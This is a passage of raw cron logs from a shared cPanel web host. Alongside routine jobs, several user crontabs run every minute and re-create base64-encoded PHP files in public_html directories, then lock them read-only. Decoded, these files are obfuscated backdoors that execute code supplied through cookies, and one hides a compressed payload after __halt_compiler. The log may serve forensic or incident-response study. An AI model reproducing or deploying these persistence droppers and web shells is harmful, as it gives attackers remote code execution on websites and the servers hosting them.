0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:27:02 medusa CROND[22376]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:27:02 medusa CROND[22377]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:27:02 medusa CROND[22378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:27:02 medusa CROND[22379]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:27:02 medusa CROND[22380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:27:02 medusa CROND[22382]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:27:02 medusa CROND[22383]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:27:02 medusa CROND[22384]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:27:02 medusa CROND[22386]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:27:02 medusa CROND[22388]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:27:02 medusa CROND[22390]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:28:01 medusa CROND[23842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:28:01 medusa CROND[23848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:28:01 medusa CROND[23849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:28:01 medusa CROND[23850]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:28:01 medusa CROND[23851]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:28:01 medusa CROND[23852]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:28:01 medusa CROND[23856]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:28:01 medusa CROND[23857]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:28:01 medusa CROND[23858]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:28:01 medusa CROND[23859]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:28:01 medusa CROND[23861]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:28:01 medusa CROND[23868]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:28:01 medusa CROND[23869]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:28:01 medusa CROND[23872]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:29:01 medusa CROND[25206]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:29:01 medusa CROND[25205]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 11:29:01 medusa CROND[25207]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:29:01 medusa CROND[25208]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:29:01 medusa CROND[25210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:29:01 medusa CROND[25209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:29:01 medusa CROND[25214]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:29:01 medusa CROND[25215]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:29:01 medusa CROND[25212]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogI